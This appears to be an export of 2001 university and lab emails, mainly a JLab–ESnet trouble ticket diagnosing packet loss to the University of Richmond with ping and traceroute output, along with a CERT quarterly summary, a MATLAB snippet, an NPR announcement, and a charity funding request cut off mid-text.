!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! Success rate is 100 percent (1000/1000), round-trip min/avg/max = 40/49/376 ms Simultaneously To Richmond End Host psc1.richmond.edu cebaf-rt1#ping 141.166.222.211 Sending 1000, 100-byte ICMP Echos to 141.166.222.211, timeout is 2 seconds: ..............................!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!.!!!!!!!!!!!!.!!.!!!!..!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!.!!!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!!!!!.................. .................!!!!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!!!!!.!!!!!!!.!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!.................................!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!!.!!!!!!!.!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!.!!!!!!!!!!!! Success rate is 87 percent (879/1000), round-trip min/avg/max = 76/84/256 ms ___________________________________________________________________________ Some of these packet losses look like normal network congestion somewhere in the path between Network Virginia & the University of Richmond end host. However, the consistent, long outage times indicate some other problem. I'm cc:'ing the Network Virginia NOC to see if they can be of further assistance to you. Network Virginia NOC, is there any condition you might be aware of that would account for these 70 second outages? Granted, this could also be a problem at the user end's network but we have no visibility to check further. Your assistance would be appreciated. Please reply with your findings to trouble@es.net referencing our ticket TTS #7207. Thanks, John. ESnet Operations, please update TTS #7207. Thanks, John. ___________________________________________________________________________ John Paul Jones E-Mail: jpj@es.net Lawrence Berkeley National Laboratory ISU Voice: (208) 282-5196 Energy Sciences Network - ESnet LBNL Cell: (510) 604-7434 Network Technical Service Group Pager: page-jones@es.net To view an open trouble ticket: finger @ticket.es.net ESnet - Connecting people, information and resources. http://www.es.net ___________________________________________________________________________ --------------749F225BE8D2EFA8305E5B04--",0,1 ccpr_reply@jlab.org,"ggilfoyl@richmond.edu, kowalski@jlab.org","Tue, 27 Feb 2001 16:46:03 -0500",Subject: CCPR 6772 [Fwd: TTS #7207 Update - JLab<->U of Richmond Packet Losses] ,"The following is a reply to CCPR report from Sandy.Philpott@jlab.org This is a multi-part message in MIME format. --------------70FFCF5CF086BC0BB00AF9E8 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Any improvement? --------------70FFCF5CF086BC0BB00AF9E8 Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Received: from jlab1.jlab.org (jlab1.jlab.org [192.70.245.101]) by ccs4.jlab.org (8.11.0/8.11.0) with ESMTP id f1RLiJI25911 for ; Tue, 27 Feb 2001 16:44:19 -0500 (EST) Received: from locust.cns.vt.edu (locust.cns.vt.edu [128.173.12.159]) by jlab1.jlab.org (8.9.3/8.9.3) with ESMTP id QAA22670 for ; Tue, 27 Feb 2001 16:44:17 -0500 (EST) Received: from lawson.cns.vt.edu (lawsonj.cns.vt.edu [128.173.12.128]) by locust.cns.vt.edu (Postfix) with SMTP id 756355907; Tue, 27 Feb 2001 16:44:13 -0500 (EST) Message-Id: <2.2.32.20010227214819.008cddec@locust.cns.vt.edu> X-Sender: lawsonj@locust.cns.vt.edu X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Tue, 27 Feb 2001 16:48:19 -0500 To: John Paul Jones , Sandy Philpott From: John Lawson Subject: Re: TTS #7207 Update - JLab<->U of Richmond Packet Losses Cc: chiles@vt.edu, ""trouble@es.net"" , hector@vt.edu Folks, Has this improved any at all. We found a configuration problem with the IBGP peering between the GSR and 7507. John At 01:54 PM 2/26/01 -0800, John Paul Jones wrote: >Hi Sandy, > > This looks like ther may be a problem somewhere past our handoff with >Network Virginia. Traceroutes are blocked after that point until the end host >is reached. >___________________________________________________________________________ >cebaf-rt1#trace psc1.richmond.edu >Tracing the route to psc1.richmond.edu (141.166.222.211) > 1 dchub-jlab.es.net (134.55.208.81) 20 msec 20 msec 20 msec > 2 dcconn-dchub.es.net (134.55.208.174) 44 msec 44 msec 40 msec > 3 nvirginia-dcconn.es.net (198.124.254.26) 44 msec 48 msec 44 msec > 4 * * * > 5 * * * > 6 * * * > 7 * * * > 8 * * * > 9 * * * > 10 * * * > 11 * * psc1.richmond.edu (141.166.222.211) [AS 7066] 80 msec >___________________________________________________________________________ >We can get to Network Virginia from our router at JLab with no losses, but when >the pings are run to the first Network Virginia hop & to the psc1.richmond.edu >host simultaneously, the problem is clearly past ESnet. >___________________________________________________________________________ >To Network Virginia - First Handoff Point Past ESnet > >cebaf-rt1#ping 198.124.254.26 >Sending 1000, 100-byte ICMP Echos to 198.124.254.26, timeout is 2 seconds: >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!! >Success rate is 100 percent (1000/1000), round-trip min/avg/max = 40/49/376 ms > >Simultaneously To Richmond End Host psc1.richmond.edu > >cebaf-rt1#ping 141.166.222.211 >Sending 1000, 100-byte ICMP Echos to 141.166.222.211, timeout is 2 seconds: >..............................!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!.!!!!!!!!!!!!.!!.!!!!..!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!.!!!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!!!!!.................. >.................!!!!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!!!!!.!!!!!!!.!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!!.!!!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!.................................!!!!!!!!!!!!!!!!!!!! >!!!!!!!!!!!!!!!!!!!!.!!!!!!!.!!!!!.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! >!!!!!!!.!!!!!!!!!!!! >Success rate is 87 percent (879/1000), round-trip min/avg/max = 76/84/256 ms >___________________________________________________________________________ >Some of these packet losses look like normal network congestion somewhere in the >path between Network Virginia & the University of Richmond end host. However, >the consistent, long outage times indicate some other problem. I'm cc:'ing the >Network Virginia NOC to see if they can be of further assistance to you. > >Network Virginia NOC, is there any condition you might be aware of that would >account for these 70 second outages? Granted, this could also be a problem at >the user end's network but we have no visibility to check further. Your >assistance would be appreciated. Please reply with your findings to >trouble@es.net referencing our ticket TTS #7207. Thanks, John. > >ESnet Operations, please update TTS #7207. Thanks, John. >___________________________________________________________________________ >John Paul Jones E-Mail: jpj@es.net >Lawrence Berkeley National Laboratory ISU Voice: (208) 282-5196 >Energy Sciences Network - ESnet LBNL Cell: (510) 604-7434 >Network Technical Service Group Pager: page-jones@es.net >To view an open trouble ticket: finger @ticket.es.net >ESnet - Connecting people, information and resources. http://www.es.net >___________________________________________________________________________ > > > > --------------70FFCF5CF086BC0BB00AF9E8--",0,1 ccpr_reply@jlab.org,"ggilfoyl@richmond.edu, kowalski@jlab.org","Wed, 28 Feb 2001 06:57:02 -0500",Subject: CCPR 6772 [TTS #7207 Update - JLab<->U of Richmond Packet Losses] ,"The following is a reply to CCPR report from philpott@jlab.org This is a multi-part message in MIME format. --------------E36979BAF0878548D5B8664D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit --------------E36979BAF0878548D5B8664D Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Received: from jlab1.jlab.org (jlab1.jlab.org [192.70.245.101]) by ccs4.jlab.org (8.11.0/8.11.0) with ESMTP id f1RN0PI08602 for ; Tue, 27 Feb 2001 18:00:25 -0500 (EST) Received: from mail1.es.net (mail1.es.net [198.128.3.181]) by jlab1.jlab.org (8.9.3/8.9.3) with SMTP id SAA24431 for ; Tue, 27 Feb 2001 18:00:24 -0500 (EST) Received: from bluez.es.net (es.net) [198.129.224.36] by mail1.es.net with esmtp (Exim 1.81 #2) id 14Xt6U-0007Mt-00; Tue, 27 Feb 2001 15:00:22 -0800 Message-ID: <3A9C31BB.CE1742D4@es.net> Date: Tue, 27 Feb 2001 15:01:15 -0800 From: John Paul Jones Organization: Lawrence Berkeley National Laboratory / ESnet X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: John Lawson CC: Sandy Philpott , chiles@vt.edu, ""trouble@es.net"" , hector@vt.edu Subject: Re: TTS #7207 Update - JLab<->U of Richmond Packet Losses References: <2.2.32.20010227214819.008cddec@locust.cns.vt.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi John, Although there are still some packet losses, this looks much more reasonable. Your fix seems to have done the trick! We'll verify that our end user sees this as well & continue to monitor for 24 hours before closing our ticket. Thanks, John. ___________________________________________________________________________ cebaf-rt1#trace psc1.richmond.edu Tracing the route to psc1.richmond.edu (141.166.222.211) 1 dchub-jlab.es.net (134.55.208.81) 20 msec 28 msec 20 msec 2 dcconn-dchub.es.net (134.55.208.174) 236 msec 240 msec 212 msec 3 nvirginia-dcconn.es.net (198.124.254.26) 44 msec 44 msec 44 msec 4 204.95.121.185 [AS 7066] 48 msec 48 msec 48 msec 5 65.162.91.18 [AS 1239] 48 msec 52 msec 56 msec 6 checkov.richmond.edu (141.166.32.37) [AS 7066] 52 msec 52 msec 52 msec 7 BB-M1FW.richmond.edu (141.166.192.2) [AS 7066] 56 msec 56 msec 60 msec 8 BB1-F1M1.richmond.edu (141.166.32.21) [AS 7066] 64 msec 52 msec BB2-F1M1.richmond.edu (141.166.32.25) [AS 7066] 56 msec 9 psc1.richmond.edu (141.166.222.211) [AS 7066] 52 msec 56 msec 56 msec cebaf-rt1#ping psc1.richmond.edu Sending 1000, 100-byte ICMP Echos to 141.166.222.211, timeout is 2 seconds: Success rate is 97 percent (978/1000), round-trip min/avg/max = 48/56/256 ms ___________________________________________________________________________ John Lawson wrote: > Folks, > Has this improved any at all. We found a configuration problem with the > IBGP peering between the GSR and 7507. > > John > > At 01:54 PM 2/26/01 -0800, John Paul Jones wrote: > >Hi Sandy, excepting the 3% packet loss that may be congestion at the University of Richmond end, does the problem look OK from your end now? Please let me know by replying to trouble@es.net referencing our ticket TTS #7207. Thanks, John. ESnet Operations, please update TTS #7207. Thanks, John. ___________________________________________________________________________ John Paul Jones E-Mail: jpj@es.net Lawrence Berkeley National Laboratory ISU Voice: (208) 282-5196 Energy Sciences Network - ESnet LBNL Cell: (510) 604-7434 Network Technical Service Group Pager: page-jones@es.net To view an open trouble ticket: finger @ticket.es.net ESnet - Connecting people, information and resources. http://www.es.net ___________________________________________________________________________ --------------E36979BAF0878548D5B8664D--",0,1 CERT Advisory ,cert-advisory@cert.org,"Wed, 28 Feb 2001 15:21:15 -0500",CERT Summary CS-2001-01," -----BEGIN PGP SIGNED MESSAGE----- CERT Summary CS-2001-01 February 28, 2001 Each quarter, the CERT Coordination Center (CERT/CC) issues the CERT Summary to draw attention to the types of attacks reported to our incident response team, as well as other noteworthy incident and vulnerability information. The summary includes pointers to sources of information for dealing with the problems. Past CERT summaries are available from: CERT Summaries http://www.cert.org/summaries/ ______________________________________________________________________ Recent Activity Since the last regularly scheduled CERT summary, issued in November 2000 (CS-2000-04), we have seen continued compromises via well-known vulnerabilities in rpc.statd and FTPD, as well as exploitations of recently discovered vulnerabilities in BIND and LPRng. Notable virus activity includes W32/Hybris and VBS/OnTheFly (Anna Kournakova). For more current information on activity being reported to the CERT/CC, please visit the CERT/CC Current Activity page. The Current Activity page is a regularly updated summary of the most frequent, high-impact types of security incidents and vulnerabilities being reported to the CERT/CC. The information on the Current Activity page is reviewed and updated as reporting trends change. CERT/CC Current Activity http://www.cert.org/current/current_activity.html 1. Multiple Vulnerabilities in BIND The CERT/CC has learned of four vulnerabilities spanning multiple versions of the Internet Software Consortium's (ISC) Berkeley Internet Name Domain (BIND) server. BIND is an implementation of the Domain Name System (DNS) that is maintained by the ISC. Because the majority of name servers in operation today run BIND, these vulnerabilities present a serious threat to the Internet infrastructure. The CERT/CC has begun receiving reports of these vulnerabilities being successfully exploited. Sites are encouraged to follow the advice in CA-2001-02 to protect systems. CERT Advisory CA-2001-01 Multiple Vulnerabilities in BIND http://www.cert.org/advisories/CA-2001-02.html 2. Compromises Via Ramen Toolkit The CERT/CC has received reports from sites that have recovered an intruder toolkit called 'ramen' from compromised hosts. Ramen has been discussed in several public forums and the toolkit is publicly available. Ramen exploits known vulnerabilities in FTPD, rpc.statd, and LPRng; and it contains a mechanism to self-propagate. Over the past several months we have received multiple daily reports of sites being root compromised by the Ramen toolkit. Sites, especially those running Linux, are encouraged to review the following document: CERT Incident Note IN-2001-01, Widespread Compromises via ""ramen"" Toolkit http://www.cert.org/incident_notes/IN-2001-01.html 3. Input Validation Problems in LPRng A popular replacement software package to the BSD lpd printing service called LPRng contains at least one software defect, known as a ""format string vulnerability,"" which may allow remote users to execute arbitrary code on vulnerable systems. Sites are encouraged to follow the advice in CA-2000-22 to protect systems. CERT Advisory CA-2000-22 Input Validation Problems in LPRng http://www.cert.org/advisories/CA-2000-22.html 4. VBS/OnTheFly (Anna Kournikova) Malicious Code The ""VBS/OnTheFly"" malicious code is a VBScript program that, when executed, sends a copy of itself as an email file attachment. On February 12, the CERT Coordination Center received a large number of reports from sites infected with VBS/OnTheFly. Several of the sites reported suffering network degradation as a result of mail traffic generated by VBS/OnTheFly. The CERT/CC has received few reports since the initial outbreak. For information on how to prevent or recover from a VBS/OnTheFly infection, please see: CERT Advisory CA-2001-03 VBS/OnTheFly (Anna Kournikova) Malicious Code http://www.cert.org/advisories/CA-2001-03.html ______________________________________________________________________ New Vulnerability Notes Database On December 15, 2000, the CERT/CC began publishing vulnerability notes in a new format, and at a new location. Vulnerability notes are very similar to advisories, but they may have less complete information and solutions may not be available for all the vulnerabilities described in vulnerability notes. There are currently more than 70 vulnerability notes available in the database. We will continue publishing vulnerability notes in accordance with our vulnerability disclosure policy. Vulnerability notes can be found at: The CERT Coordination Center Vulnerability Notes Database http://www.kb.cert.org/vuls/ ______________________________________________________________________ What's New and Updated Since the last CERT summary, we have published new and updated * Advisories http://www.cert.org/advisories/ * Incident notes http://www.cert.org/incident_notes/ * CERT/CC statistics http://www.cert.org/stats/cert_stats.html * Security improvement modules http://www.cert.org/security-improvement/ Descriptions of these documents and links to them can be found on our ""What's New"" page: What's New http://www.cert.org/nav/whatsnew.html ______________________________________________________________________ This document is available from: http://www.cert.org/summaries/CS-2001-01.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright (C) 2001 Carnegie Mellon University. -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQCVAwUBOp1bcQYcfu8gsZJZAQFIMQP9G2X9YFe3JOfExLMiu4sRGjCIlLwqhlnq DdIXAAkAoaEZ9aVn6xKlSWLezmxlf8vftx+m+6kNRmHUf26VIKfARBUYXIG2bIjP EkydQwuteDHX4ZmDLZZbm8Yg1beCSBkFrVcrn9PAOMSFn1Qs5YqESDYaBDxEGQo6 5EJRBR1nEIw= =r/mx -----END PGP SIGNATURE----- ",0,1 ccpr_reply@jlab.org,"ggilfoyl@richmond.edu, kowalski@jlab.org","Thu, 01 Mar 2001 11:52:21 -0500",CCPR 6772 UPDATE ( bbftp problems),"Here is an update to the help request you submitted. When you reply to THIS message, Please DO NOT include the original text below. Mod Date: 2001/03/01 Mod Time: 11:52:20 Mod User: kowalski Current State: COMPLETE STATE changed from (WORKING) to COMPLETE. ESNet has closed the trouble ticket. We will assume the problem was corrected with the fixes noted in previous updates. If you still have problems, submit a new problem report and we will open another trouble ticket with ESNet. -------------------------------------------------------------- Here is a copy of your Original Request: Email: ggilfoyl@richmond.edu Name: Username: Staff: kowalski Platform: Building: Room: Hostname: Category: NETWORK PROBLEM Subject: bbftp problems Request: Hi, I have been trying to transfer files from JLab to the University of Richmond during the last couple of days and failing. The problem is the following. 1. I am using bbftp to transfer files from the CLAS work disk at /work/clas/disk3/gilfoyle to Richmond. 2. I can transfer small files without difficulty. 3. When i try to transfer large DST files (actually only about 78 MBytes per file) the connection times out and I get stuff like the following. psc1:data> bbftp -u gilfoyle -i bbftpctrl bbftp.jlab.org Password (max length = 8192): Starting under pid 26401 on Fri Feb 23 09:05:18 >> USERNAME gilfoyle PASS << bbftpd version 1.9.1 : OK >> COMMAND : cd /work/clas/disk3/gilfoyle/ << OK : Current remote directory is /w/work610/gilfoyle >> COMMAND : get run17469.a00prod19.rzn Child 026402 : Error while receiving : Time Out << Connection timed out Retrying transfer waiting 60 s >> COMMAND : get run17469.a00prod19.rzn Child 026403 : Error while receiving : Time Out Read message : Time out : MSG (20,0)Error reading BAD message after send waitcontrol Retrying connection waiting 60 s Cannot connect to control socket: No route to host Retrying connection waiting 60 s >> USERNAME gilfoyle PASS << bbftpd version 1.9.1 : OK >> COMMAND : cd /w/work610/gilfoyle << OK : Current remote directory is /w/work610/gilfoyle >> COMMAND : get run17469.a00prod19.rzn Child 026406 : Error while receiving : Time Out Read message : Time out : MSG (20,0)Error reading BAD message after send waitcontrol Retrying connection waiting 60 s Cannot connect to control socket: No route to host Retrying connection waiting 60 s The bbftp control file I was using is below. psc1:data> more bbftpctrl cd /work/clas/disk3/gilfoyle/ get run17469.a00prod19.rzn get run17469.a01prod19.rzn get run17469.a02prod19.rzn get run17469.a03prod19.rzn get run17469.a04prod19.rzn get run17469.a05prod19.rzn get run17469.a06prod19.rzn get run17469.a07prod19.rzn get run17469.a08prod19.rzn get run17469.a10prod19.rzn 4. This occurs even when I try data transfers late at night (around 11:30 pm) 5. I tried registering this problem with CCPR and I get a message 'Unable to locate the server mis.jlab.org'. Thanks-in-advance for your help. Cheers, Jerry Gilfoyle -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482",0,0 ccpr_reply@jlab.org,"ggilfoyl@richmond.edu, kowalski@jlab.org","Thu, 01 Mar 2001 15:08:02 -0500",Subject: Re: CCPR 6772 UPDATE ( bbftp problems) ,"The following is a reply to CCPR report from ggilfoyl@richmond.edu things seem to be working now. i transferred files to richmond last night. thanks for all your help. jerry gilfoyle ccpr_reply@jlab.org wrote: > > > Here is an update to the help request you submitted. > When you reply to THIS message, Please DO NOT include the original text below. > > Mod Date: 2001/03/01 > Mod Time: 11:52:20 > Mod User: kowalski > Current State: COMPLETE > STATE changed from (WORKING) to COMPLETE. > ESNet has closed the trouble ticket. We will assume the problem > was corrected with the fixes noted in previous updates. If you > still have problems, submit a new problem report and we will > open another trouble ticket with ESNet. > > -------------------------------------------------------------- -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 SARAH.E.ROBINSON@asu.edu,ramon arrowsmith ,"Fri, 02 Mar 2001 08:44:31 -0700",triumph over matlab,"Hey, Just had to share my triumph over matlab...I was able to figure out how to get my scripts to output to a file and have that file appended with each subsequent run: A =[lat(1),elev(1),z(1),rho(1),X0(1),X0(2),X0(3),X0(4),UB(1),UB(2),UB(3),UB(4), LB(1),LB(2),LB(3),LB(4),X(1),X(2),X(3),X(4)]; fid = fopen('3modelruns0101a.txt','a+'); fprintf(fid,'%6.2f %6.6f %6.2f %6.3f %6.6f %6.6f %6.6f %6.6f %6.6f %6.6f %6.6f %6.6f %6.6f %6.6f %6.6f %6.6f %6.6f %6.6f %6.6f %6.6f %6.6f %6.6f %6.6f %6.6f\\r',A); fprintf(fid,'\\n'); -s ***************************************************************************** Sarah E. Robinson E-mail: ser@asu.edu Ph.D. Candidate Office: (480) 965-1789 Department of Geology (480) 965-7563 Arizona State University Fax: (480) 965-1787 Tempe, AZ 85287-1404 Office: Moeur 130 ",0,0 mpaa23 ,Dave_Touretzky@cs.cmu.edu,"Thu, 08 Mar 2001 17:40:37 -0800",Re: Unauthorized Distribution of Copyrighted Motion Pictures (File #68624),"Computer Science Department Carnegie Mellon University Pittsburgh, PA 15213-3891 Dear Dr. Touretzky: We are in receipt of your letter. We will consider it and respond appropriately at the proper time. Respectfully, Hemanshu Nigam Director Worldwide Internet Enforcement ",0,0 John Louie ,trexler@bornite.mines.unr.edu,"Thu, 08 Mar 2001 17:50:53 -0800",All Things Considered: The Oil Century,"http://www.npr.org/programs/atc/features/2001/mar/010307.spindletop.html Jim, I'd appreciate it if you'd tell the 203 students about this NPR 3-part series on oil. They're covering economics, environment, history, and technology. About 5 minutes each. Friday night's segment, the third and final, is about modern oil exporation and production. It'll be about 5:40 PM on KUNR 88.7 FM. After a day, the web site offers each segment as RealAudio. I wouold be willing to write an extra-credit quiz for those who listen to it. -John Salute to 'The Oil Century' Reporter: John Burnett; Producer: Wayne Bell Links & Resources Photo Gallery Spindletop 100th Anniversary Join All Things Considered on Thursday, March 8, 2001, for the second in a three-part series by NPR's John Burnett and independent producer Wayne Bell on the passing of ""The Oil Century."" The series begins with the discovery of the first American gusher in Texas and the fortunes that were made and lost. It also examines the environmental problems that followed and concludes with how technology has revolutionized the search for fossil fuels. Part One: Spindletop - The Boom Heard 'Round the World On January 10, 1901, a tremendous roar was heard in the little sawmill town of Beaumont, Texas. With the roar came a 150-foot plume of oil that could be seen for miles. The event took place in the Spindletop oil field and changed the course of history. By 1902, there were nearly 300 wells on Spindletop hill, and 600 individual oil companies. But rampant over-drilling began to turn the boom to bust in two years. Over the next 30 years, the U.S. witnessed a string of historic oil strikes in West Texas, Tulsa and the great East Texas field that transformed the Southwest. Listen to John Burnett's first report on All Things Considered. Part Two: The Environmental Hangover In a sense, Spindletop foreshadowed the future of the oil industry. The uncontrolled gushers created the first oil field environmental disasters. Spindletop raged with a fire for a solid week in September, 1902 when one of the wells ignited from a cigar carelessly discarded by a driller. The well was gushing high above the derrick top when the flames reached it. There was no chance to close it in because valves had not been installed. It was brought under control by a combination of steam and sand. In recent times, oil field pollution has become a major problem in the oil patch of Texas, Louisiana and Oklahoma. Property owners became rich from the oil beneath their land, but over the years, many have filed lawsuits against oil producers for contamination of groundwater. Part Three: Reinventing the Oil and Gas Industry In another of its perpetual cycles, the oil patch has sprung back to life. The number of working rigs in the United States has nearly doubled in the last two years, in part because of soaring natural gas prices. But there's a larger force at work. High technology has re-invented the oil and gas industry. Companies are able to explore for hydrocarbons in places once forgotten, or once considered impossible, including the deep waters of the Gulf of Mexico. One example is Exxon/Mobil which has built the Hoover/Diana platform in the Gulf of Mexico. The 127 million pound Hoover deep-draft caisson vessel is the size of an 83-story office building. When it was deployed in 4,800 feet of water, Hoover set a world water-depth record for a drilling and production platform. When Hoover/ Diana finally peaks, it's expected to produce 325 million cubic feet of gas, and 100,000 barrels of crude a day -- enough to run two million vehicles on a daily basis. Now the industry is moving into ultra-deep water -- as much as two miles down -- where the costs will go even higher. But the big players predict, it will be worth it. Links & Resources The Texas Energy Museum www.texasenergymuseum.org Spindletop 2001 www.spindletop2001.org Exxon/Mobil's Hoover/Diana Project www.exxon.mobil.com Listening to audio requires the RealAudio player To order transcripts and tapes of this story and others, please call: Toll-Free 1-877-NPR TEXT (1-877-677-8398) International calls: (+801)374-1022 Or write: NPR c/o Burrelle's Transcripts P.O. Box 7 Livingston, New Jersey 07039-0007 Please include program name, date and subject. Copyright© National Public Radio, 2001, all rights reserved.",0,1 """Dr. M.P.A. Nambiar"" ","pankaj@Stanford.EDU, suraj@Stanford.EDU, monx1@yahoo.com","Mon, 12 Mar 2001 13:34:37 -0800",Request for financial support,"VANAVASI ASHRAM TRUST P.O. PERIYA, WAYANAD, KERALA - 670644, INDIA Phone # 91-493-560422 Reg.No.138-IV/97 Email : nambiar@vanavasiashrumtrust.org 2nd March 2001 The Contact Person, Asha Stanford Sir, Subj: Financial support for education and rural development of tribal community. Greeting from Vanavasi Ashram! Vanavasi Ashram trust is running a 